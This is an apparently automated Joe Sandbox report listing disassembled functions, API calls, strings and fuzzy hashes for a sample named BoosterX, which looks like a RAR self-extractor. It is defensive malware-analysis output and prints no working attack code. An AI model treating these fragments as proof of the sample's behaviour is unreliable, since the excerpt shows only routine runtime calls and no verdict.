Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: c3b9cc9cdd52f2350940838b7b06db5a4f889f983fd09e5162c1733cb5f95556
Instruction ID: 22d551916de44aa59ac283b2c20f27b0a8f8a5ff58fad520cab2de7e22f05d54
Opcode Fuzzy Hash: c3b9cc9cdd52f2350940838b7b06db5a4f889f983fd09e5162c1733cb5f95556
Instruction Fuzzy Hash: D031F225B1AA43B1EE12DF12A8046792396FF48BA2F594637DD9DCB390EF7CE1408351

Function 00007FF6C0381584 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 43libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,00007FF6C03814F3,?,?,?,00007FF6C03818AA), ref: 00007FF6C03815AB
GetProcAddress.KERNEL32(?,?,?,00007FF6C03814F3,?,?,?,00007FF6C03818AA), ref: 00007FF6C03815C8
GetProcAddress.KERNEL32(?,?,?,00007FF6C03814F3,?,?,?,00007FF6C03818AA), ref: 00007FF6C03815E4

Strings

ReleaseSRWLockExclusive, xrefs: 00007FF6C03815D3
AcquireSRWLockExclusive, xrefs: 00007FF6C03815BE
KERNEL32.DLL, xrefs: 00007FF6C03815A4

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: AcquireSRWLockExclusive$KERNEL32.DLL$ReleaseSRWLockExclusive
API String ID: 667068680-1718035505
Opcode ID: b86a11e47b759afb9776b5a8196b9ce040a12c050a3cc6a343a5a4dac9788fc5
Instruction ID: 578d37fe36e3b6929c4eeec782decdb69e551aa0dea811075670dddeedb8a079
Opcode Fuzzy Hash: b86a11e47b759afb9776b5a8196b9ce040a12c050a3cc6a343a5a4dac9788fc5
Instruction Fuzzy Hash: F5112D20E1AB03B1FEA18F01AA4027562996F49B96F485677CCDEC6350FF3CE4958610

Function 00007FF6C036ECA4 Relevance: 9.1, APIs: 6, Instructions: 120timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6C0365164: GetVersionExW.KERNEL32 ref: 00007FF6C0365195

FileTimeToLocalFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000001,00007FF6C0355ABC), ref: 00007FF6C036ED0C
FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000001,00007FF6C0355ABC), ref: 00007FF6C036ED18
SystemTimeToTzSpecificLocalTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000001,00007FF6C0355ABC), ref: 00007FF6C036ED28
SystemTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000001,00007FF6C0355ABC), ref: 00007FF6C036ED36
SystemTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000001,00007FF6C0355ABC), ref: 00007FF6C036ED44
FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000001,00007FF6C0355ABC), ref: 00007FF6C036ED85

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
Opcode ID: fd651a404897a6a4441ea403f02956d6baa9a0eb7a17f9813df5aa7066cb431e
Instruction ID: ae9811f92289da020017a8bb020c4fe3ee6b9fc075162b3a40b2a5fd00251ed9
Opcode Fuzzy Hash: fd651a404897a6a4441ea403f02956d6baa9a0eb7a17f9813df5aa7066cb431e
Instruction Fuzzy Hash: 525169B2B146529BEB14CFA8D4401AC37B1F748B89B60403ADE8DE7B58DF38E556CB00

Function 00007FF6C036EF90 Relevance: 9.1, APIs: 6, Instructions: 80timeCOMMON

Download Yara Rule

APIs

SystemTimeToFileTime.KERNEL32 ref: 00007FF6C036EFF4

Part of subcall function 00007FF6C0365164: GetVersionExW.KERNEL32 ref: 00007FF6C0365195

LocalFileTimeToFileTime.KERNEL32 ref: 00007FF6C036F016
FileTimeToSystemTime.KERNEL32 ref: 00007FF6C036F022
TzSpecificLocalTimeToSystemTime.KERNEL32 ref: 00007FF6C036F032
SystemTimeToFileTime.KERNEL32 ref: 00007FF6C036F040
SystemTimeToFileTime.KERNEL32 ref: 00007FF6C036F04E

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
Opcode ID: 75a8bc4378bee31fccdfb2974230a450bdf33b57f85e7c22afbcf2edf14db1b8
Instruction ID: 16d4da24585f9b2a4555d21835d4ff981e99b61b3c101c4a05591e5c5ccd1f42
Opcode Fuzzy Hash: 75a8bc4378bee31fccdfb2974230a450bdf33b57f85e7c22afbcf2edf14db1b8
Instruction Fuzzy Hash: BD313862B10A52DEEB04CFB5E8801AC3770FB08759B54502AEE8ED7B58EF38D495C710

Function 00007FF6C03678D8 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 233COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C0367C4C

Strings

sfx, xrefs: 00007FF6C03679B3, 00007FF6C03679C2
exe, xrefs: 00007FF6C036796F, 00007FF6C036797E
rar, xrefs: 00007FF6C0367A5B, 00007FF6C0367A6A, 00007FF6C0367B27, 00007FF6C0367B3C
.rar, xrefs: 00007FF6C0367929, 00007FF6C0367938

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: .rar$exe$rar$sfx
API String ID: 3668304517-630704357
Opcode ID: 2be4155a22cf9f3d89ff384b654e6c2ace79baf959f8f82acd945f480ed79c49
Instruction ID: 25a4dbede25ccf0701ceaa37d002063f5d243a0d4467856a86eb6e89f1d63c33
Opcode Fuzzy Hash: 2be4155a22cf9f3d89ff384b654e6c2ace79baf959f8f82acd945f480ed79c49
Instruction Fuzzy Hash: 18A1C522A14A47A0EB049F65D4592BC2361FF40B99F905236DE9EC77E9DF3CE685C340

Function 00007FF6C0385C68 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 191COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF6C0385CD8

Part of subcall function 00007FF6C0385190: abort.LIBCMT ref: 00007FF6C03851A3

_CallSETranslator.LIBVCRUNTIME ref: 00007FF6C0385D23
abort.LIBCMT ref: 00007FF6C0385F51

Strings

MOC, xrefs: 00007FF6C0385CEC
RCC, xrefs: 00007FF6C0385CF4

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: abort$CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 2889003569-2084237596
Opcode ID: ab04bccd114fd37ee07c78e6a8355f7d33a779087ea2a313566685aba8f4470c
Instruction ID: 6f1f4727135d6f610d2cf52712f6dd226a27407f727180bba8fca4945997ca23
Opcode Fuzzy Hash: ab04bccd114fd37ee07c78e6a8355f7d33a779087ea2a313566685aba8f4470c
Instruction Fuzzy Hash: 86917F73A08B829AE710CF65E8402AD7BA0FB44789F14426BEE8DD7B55DF38E195C700

Function 00007FF6C0384F00 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF6C0384F2B
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF6C0384FC0
RtlUnwindEx.KERNEL32(?,?,?,?,?,?,?,00007FF6C0382EDE), ref: 00007FF6C038500F

Strings

csm, xrefs: 00007FF6C0384FA6
f, xrefs: 00007FF6C0384F3E

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: ec9dc00a1498f0518f52aab0520fd36c16a5f49c97d71af4407016564852814a
Instruction ID: 61c7c9d77bd2af472c24b5517f2e028f9dc1a34ffd34f82ceea7f855e48253c6
Opcode Fuzzy Hash: ec9dc00a1498f0518f52aab0520fd36c16a5f49c97d71af4407016564852814a
Instruction Fuzzy Hash: A551D072A19603A6EB14CF21E444A293795FB40B8EF508277DE9EC7788DF79E841C790

Function 00007FF6C035CEF0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 139COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF6C035D04D
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C035D0E1
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C035D0E7

Part of subcall function 00007FF6C035DE14: GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF6C035CF5B), ref: 00007FF6C035DE37
Part of subcall function 00007FF6C035DE14: GetLastError.KERNEL32 ref: 00007FF6C035DE98
Part of subcall function 00007FF6C035DE14: CloseHandle.KERNEL32 ref: 00007FF6C035DEAB

Strings

SeRestorePrivilege, xrefs: 00007FF6C035CF6E
SeSecurityPrivilege, xrefs: 00007FF6C035CF4F

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: ErrorLast_invalid_parameter_noinfo_noreturn$CloseCurrentHandleProcess
String ID: SeRestorePrivilege$SeSecurityPrivilege
API String ID: 2102711378-639343689
Opcode ID: 89b40b535af03a040ab3a03455bd0731328f990642d65d4a1277120577c57159
Instruction ID: 0617e8f7631dd809c73dfadeef1ca01ee2c0248b4634fa4a33641cbed9f7efd1
Opcode Fuzzy Hash: 89b40b535af03a040ab3a03455bd0731328f990642d65d4a1277120577c57159
Instruction Fuzzy Hash: F351AB66F18A43A5FA219F65D8412BD33A1AF857AAF040131DE9DD77E6DF3CE486C200

Function 00007FF6C0377AA8 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 122COMMON

Download Yara Rule

APIs

ShowWindow.USER32 ref: 00007FF6C0377AEF
GetWindowRect.USER32 ref: 00007FF6C0377B40
ShowWindow.USER32 ref: 00007FF6C0377C16
ShowWindow.USER32 ref: 00007FF6C0377C43

Strings

RarHtmlClassName, xrefs: 00007FF6C0377BCB

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: Window$Show$Rect
String ID: RarHtmlClassName
API String ID: 2396740005-1658105358
Opcode ID: e61806d4995b6197c20590cc1e84a9d2430e7e9d2d5b3509b02ee98fded6cc23
Instruction ID: 7f88b35553fd2a0302e4af44d54afeeacca7a7612d7775f45d8628becfc0bddc
Opcode Fuzzy Hash: e61806d4995b6197c20590cc1e84a9d2430e7e9d2d5b3509b02ee98fded6cc23
Instruction Fuzzy Hash: 35519522A09B839AEB249F29E55437A63A0FF89B86F104535DECEC7B55DF3CE1458700

Function 00007FF6C037FE54 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 52COMMON

Download Yara Rule

Strings

REPLACEFILEDLG, xrefs: 00007FF6C037FEB4, 00007FF6C037FF19
RENAMEDLG, xrefs: 00007FF6C037FEE0

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID:
String ID: RENAMEDLG$REPLACEFILEDLG
API String ID: 0-56093855
Opcode ID: fc5be3ed44ea404419216795f56c086f61d8a3e370be94283853cacc62a44369
Instruction ID: 4fe51af4619d4fe10883f7c03f2f1753283ddfb000599a44a19c44c426084470
Opcode Fuzzy Hash: fc5be3ed44ea404419216795f56c086f61d8a3e370be94283853cacc62a44369
Instruction Fuzzy Hash: 5521DD64A09F8BE5FA108F19A94817823A0FF89B8AF14143AD9CDD7361DF3CE285C344

Function 00007FF6C038BF30 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF6C038BF50
GetProcAddress.KERNEL32 ref: 00007FF6C038BF66
FreeLibrary.KERNEL32 ref: 00007FF6C038BF8B

Strings

mscoree.dll, xrefs: 00007FF6C038BF47
CorExitProcess, xrefs: 00007FF6C038BF5F

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: f98038199561589234cc2a21183cce8921094221fb9f21f9ab19275f87f72e7e
Instruction ID: 85beed3094e8419b966913e9f48a9e1aa9637ca189d9298bcb2e8ebfc80f7750
Opcode Fuzzy Hash: f98038199561589234cc2a21183cce8921094221fb9f21f9ab19275f87f72e7e
Instruction Fuzzy Hash: DEF0FF65A29A43A1EE548F11E8542796360EFC8792F485136EE8FC6764DF3CD585CB00

Function 00007FF6C0394540 Relevance: 7.7, APIs: 5, Instructions: 203COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6C0394585

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: c065245cb44755ae58ebfe43422878115c1e571edfc284914e4b515b233c21cc
Instruction ID: c7768c627e19d0185bcb75e907db2479154b085627fd49c1f0353cbaf2ee7f2d
Opcode Fuzzy Hash: c065245cb44755ae58ebfe43422878115c1e571edfc284914e4b515b233c21cc
Instruction Fuzzy Hash: 3B810362F18653A9FB209F659880ABD27A0BB45B8AF004236DE8EC77D5DF3CE445C710

Function 00007FF6C0363AB8 Relevance: 7.7, APIs: 5, Instructions: 164filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 00007FF6C0363B7B
CreateFileW.KERNEL32 ref: 00007FF6C0363BE4
SetFileTime.KERNEL32 ref: 00007FF6C0363CAC
CloseHandle.KERNEL32 ref: 00007FF6C0363CB6
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C0363CEC

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: File$Create$CloseHandleTime_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2398171386-0
Opcode ID: 576e37249fc770885bef1ed8c76ec8c626bec9fe2c5606531df86f5f014861ad
Instruction ID: e499e668b7af905e058b78946674f58f695fff9c2930099f9d177608cf2228d1
Opcode Fuzzy Hash: 576e37249fc770885bef1ed8c76ec8c626bec9fe2c5606531df86f5f014861ad
Instruction Fuzzy Hash: 7551A022F08A43A9FB548F75E4402BD23B1BB857A9F004635EE9DDB7D9EF3891598340

Function 00007FF6C0393EB4 Relevance: 7.6, APIs: 5, Instructions: 142fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,00007FF6C03946E7), ref: 00007FF6C0393F11
WideCharToMultiByte.KERNEL32 ref: 00007FF6C0393FED
WriteFile.KERNEL32 ref: 00007FF6C0394013
WriteFile.KERNEL32 ref: 00007FF6C0394052
GetLastError.KERNEL32 ref: 00007FF6C039408A

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiWide
String ID:
API String ID: 3659116390-0
Opcode ID: c3abc48754519be15551293a6e0649ae656e409aee0bb9161411e3edb71b8ba7
Instruction ID: bf82ada75383ed05b2479c398cbdcf3d8b8f7f3acfeefb80b5df06fd9b09a7ab
Opcode Fuzzy Hash: c3abc48754519be15551293a6e0649ae656e409aee0bb9161411e3edb71b8ba7
Instruction Fuzzy Hash: 66518B72A18A5299E710CF65E4447AC7BB0BB44B99F088236DF8EC7B98DF38D546C700

Function 00007FF6C0381D80 Relevance: 7.6, APIs: 5, Instructions: 137memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF6C0364DB4), ref: 00007FF6C0381E07
MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF6C0364DB4), ref: 00007FF6C0381E89
SysAllocString.OLEAUT32 ref: 00007FF6C0381E96

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: ByteCharMultiWide$AllocString
String ID:
API String ID: 262959230-0
Opcode ID: 232b551fadca1ae103d473e2eb18b0591082179b1a5a78a8c3b0890ea4ad4e1c
Instruction ID: 8cef893338143e1f3631acf4a4dde1b9b7a2cb14672666d0eba096c29d93cb87
Opcode Fuzzy Hash: 232b551fadca1ae103d473e2eb18b0591082179b1a5a78a8c3b0890ea4ad4e1c
Instruction Fuzzy Hash: 2A419022A09A47A9EB149F6194003B92294FF44FA6F144B77EEADC77D5DF3CE1818300

Function 00007FF6C038F394 Relevance: 7.6, APIs: 5, Instructions: 114libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF6C038F4B6

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

